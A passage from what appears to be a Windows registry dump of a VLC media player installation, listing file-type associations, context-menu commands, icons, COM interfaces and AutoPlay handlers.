"(Default)" = "VLC media file (.ts)"

[HKCR\VLC.amr]
"(Default)" = "VLC media file (.amr)"

[HKCR\VLC.aiff\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp3\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mp2\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".CUE" = "VLC.cue"

[HKCR\VLC.m1v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.tod]
"(Default)" = "VLC.tod"

[HKCR\Wow6432Node\Interface\{49E0DBD1-9440-466C-9C97-95C67190C603}]
"(Default)" = "IVLCInput"

[HKCR\VLC.3g2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mpe\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.xm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\InstallInfo]
"ReinstallCommand" = "%Program Files% (x86)\VideoLAN\VLC\spad-setup.exe /Reinstall /S"

[HKCR\Applications\vlc.exe\SupportedTypes]
".divx" = ""
".w64" = ""

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\0\win32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKCR\VLC.mid\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mpa]
"(Default)" = "VLC.mpa"

[HKCR\VLC.wv\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.f4v\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.webm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.qcp\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.s3m\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.flac\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.a52\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rec\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rec\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mp4\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flac\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.ogm\shell]
"(Default)" = "Open"

[HKCR\VLC.pls\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.669\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.3gp2\shell]
"(Default)" = "Open"

[HKCR\VLC.aiff\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m2ts]
"(Default)" = "VLC media file (.m2ts)"

[HKCR\VLC.mts]
"(Default)" = "VLC media file (.mts)"

[HKCR\VLC.amr\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpeg2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.rmvb]
"(Default)" = "VLC media file (.rmvb)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".wmv" = ""

[HKCR\VLC.rec\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rec" = ""

[HKCR\VLC.voc\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1]
"(Default)" = "VLC media file (.mp1)"

[HKCR\.w64]
"(Default)" = "VLC.w64"

[HKCR\.mlp]
"(Default)" = "VLC.mlp"

[HKCR\VLC.wmv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.wma]
"(Default)" = "VLC media file (.wma)"

[HKCR\Applications\vlc.exe]
"(Default)" = ""

[HKCR\VLC.dts\shell]
"(Default)" = "Open"

[HKCR\VLC.m4a]
"(Default)" = "VLC media file (.m4a)"

[HKCR\VLC.3gp2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.spx\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ogg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.drc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vro\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\.nuv]
"(Default)" = "VLC.nuv"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".drc" = "VLC.drc"

[HKCR\VLC.OPENFolder\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ram\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.vro\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m4a\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.rm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg2]
"(Default)" = "VLC media file (.mpeg2)"

[HKCR\VLC.rec]
"(Default)" = "VLC media file (.rec)"

[HKCR\VLC.qcp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogv]
"(Default)" = "VLC media file (.ogv)"

[HKCR\VLC.mtv\shell]
"(Default)" = "Open"

[HKCR\VLC.mp3\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aif\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.cda\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.it\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\InprocServer32]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\axvlc.dll"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".avi" = "VLC.avi"

[HKCR\VLC.asx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adt]
"(Default)" = "VLC media file (.adt)"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\ProxyStubClsid32]
"(Default)" = "{00020420-0000-0000-C000-000000000046}"

[HKCR\VLC.mts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mod\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".f4v" = "VLC.f4v"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M4A" = ""

[HKCR\VLC.m2ts\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlaySuperVideoCDMovieOnArrival]
"VLCPlaySVCDMovieOnArrival" = ""

[HKCR\VLC.wav\shell]
"(Default)" = "Open"

[HKCR\VLC.669\shell]
"(Default)" = "Open"

[HKCR\.mod]
"(Default)" = "VLC.mod"

[HKCR\Interface\{0AAEDF0B-D333-4B27-A0C6-BBF31413A42E}]
"(Default)" = "IVLCVideo"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m4p" = ""

[HKCR\VLC.nsv]
"(Default)" = "VLC media file (.nsv)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m4v" = ""

[HKCR\VLC.sdp\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.spx]
"(Default)" = "VLC.spx"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".APE" = "VLC.ape"

[HKCR\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.3gp2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"Action" = "Play VCD movie"

[HKCR\VLC.ogv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vro\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m3u\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc]
"(Default)" = "VLC media file (.mpc)"

[HKCR\VLC.ram\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mxf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3ga\shell]
"(Default)" = "Open"

[HKCR\VLC.mtv]
"(Default)" = "VLC media file (.mtv)"

[HKCR\VLC.wma\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aob\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m1v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".WAV" = ""

[HKCR\VLC.3g2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".voc" = "VLC.voc"
".ogv" = "VLC.ogv"

[HKCR\.m4a]
"(Default)" = "VLC.m4a"

[HKCR\VLC.mov\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.vlc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wmv]
"(Default)" = "VLC media file (.wmv)"

[HKCR\VLC.bin\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpv2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.nuv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"InvokeProgID" = "VLC.CDAudio"

[HKCR\VLC.rm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rmi\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m4a\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.vro\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.vlc]
"(Default)" = "VLC.vlc"

[HKCR\VLC.b4s\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.mka\shell\Open]
"(Default)" = "Play"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\TypeLib]
"Version" = "1.0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mp2v" = "VLC.mp2v"

[HKCR\VLC.m4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.asx\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.flv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.3ga\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".ram" = "VLC.ram"

[HKCR\VLC.3gp2\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.adts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.oga\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp4\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".webm" = "VLC.webm"

[HKCR\VLC.flv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.dv]
"(Default)" = "VLC.dv"

[HKCU\Software\Classes\.webm]
"VLC.backup" = "FirefoxHTML"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".aifc" = "VLC.aifc"
".aiff" = "VLC.aiff"
".IT" = "VLC.it"

[HKCR\VLC.asx\shell]
"(Default)" = "Open"

[HKCR\VLC.aac\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.webm\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.mpe]
"(Default)" = "VLC.mpe"

[HKCR\VLC.avi\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vqf]
"(Default)" = "VLC.vqf"

[HKCR\Applications\vlc.exe\SupportedTypes]
".m2ts" = ""

[HKCR\VLC.oma\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.xm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.m1v]
"(Default)" = "VLC media file (.m1v)"

[HKCR\VLC.mid\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2]
"(Default)" = "VLC media file (.mp2)"

[HKCR\VLC.ts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp3\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rmi\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls]
"(Default)" = "VLC media file (.pls)"

[HKCR\VLC.m4p\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}]
"(Default)" = "IVLCControl2"

[HKCR\VLC.it]
"(Default)" = "VLC media file (.it)"

[HKCR\VLC.asf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.m1v\shell]
"(Default)" = "Open"

[HKCR\VLC.cue\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mxf]
"(Default)" = "VLC media file (.mxf)"

[HKCR\VLC.vob\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.m2t\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".sdp" = ""

[HKCR\VLC.webm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.tta\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".S3M" = "VLC.s3m"

[HKCR\VLC.mpe\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.tod\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.xm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".bin" = ""

[HKCR\VLC.mpe\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.tod\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.snd\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.nuv]
"(Default)" = "VLC media file (.nuv)"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"Action" = "Play video files"

[HKCR\Applications\vlc.exe\SupportedTypes]
".amv" = ""

[HKCR\VLC.ogx]
"(Default)" = "VLC media file (.ogx)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rmvb" = ""

[HKCR\VLC.mp3\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpeg1\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mp1\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.rec\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".aob" = ""

[HKCR\VLC.drc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.cue\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.cue\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rm\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo]
"(Default)" = "VLC media file (.ifo)"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ogv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.f4v\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.3g2]
"(Default)" = "VLC.3g2"

[HKCR\VLC.wav]
"(Default)" = "VLC media file (.wav)"

[HKCR\Interface\{FD37FE32-82BC-4A25-B056-315F4DBB194D}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.ts\shell]
"(Default)" = "Open"

[HKCR\VLC.flv\shell]
"(Default)" = "Open"

[HKCR\.mpeg4]
"(Default)" = "VLC.mpeg4"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp4" = ""

[HKCR\VLC.amv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MP2" = ""

[HKCR\VLC.mp4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"InstallLocation" = "%Program Files% (x86)\VideoLAN\VLC"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".PLS" = "VLC.pls"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MOD" = ""

[HKCR\.ape]
"(Default)" = "VLC.ape"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mov" = ""

[HKCR\VLC.tta]
"(Default)" = "VLC media file (.tta)"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".amv" = "VLC.amv"
".amr" = "VLC.amr"

[HKCR\VLC.tts\shell]
"(Default)" = "Open"

[HKCR\VLC.aif\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".XM" = "VLC.xm"

[HKCR\Applications\vlc.exe\SupportedTypes]
".3g2" = ""

[HKCR\.oma]
"(Default)" = "VLC.oma"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".xa" = "VLC.xa"

[HKCR\VLC.gxf\shell]
"(Default)" = "Open"

[HKCR\VLC.gxf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".rmvb" = "VLC.rmvb"

[HKCR\VLC.adt\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.dts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".nuv" = ""

[HKCR\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.a52\shell]
"(Default)" = "Open"

[HKCR\VLC.mpeg\shell]
"(Default)" = "Open"

[HKCR\VLC.tod\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.divx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.flac\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}]
"(Default)" = "IVLCLogo"

[HKCR\VLC.m2t\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.vro]
"(Default)" = "VLC.vro"

[HKCR\VLC.mpeg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".XM" = ""
".xa" = ""

[HKCR\VLC.m4p\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"Language" = "1033"

[HKCR\.avi]
"(Default)" = "VLC.avi"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities]
"ApplicationDescription" = "VLC - The video swiss knife"

[HKCR\VLC.mp4v]
"(Default)" = "VLC media file (.mp4v)"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"VersionMajor" = "2"

[HKCR\.nsv]
"(Default)" = "VLC.nsv"

[HKCR\VLC.mts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mkv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.flac]
"(Default)" = "VLC media file (.flac)"

[HKCR\VLC.mka\shell]
"(Default)" = "Open"

[HKCR\VLC.oga\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}]
"(Default)" = "IVLCDeinterlace"

[HKCR\VLC.xspf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.vlc\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\.xa]
"(Default)" = "VLC.xa"

[HKCR\VLC.rmi\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.gxf\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpeg4" = "VLC.mpeg4"
".mpeg2" = "VLC.mpeg2"
".mpeg1" = "VLC.mpeg1"

[HKCR\VLC.a52\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.snd]
"(Default)" = "VLC.snd"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVCDMovieOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\VLC.mp4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.rmi\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp1\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.tta]
"(Default)" = "VLC.tta"

[HKCR\VLC.vlc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.asx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.w64\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mp3\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gp\DefaultIcon]
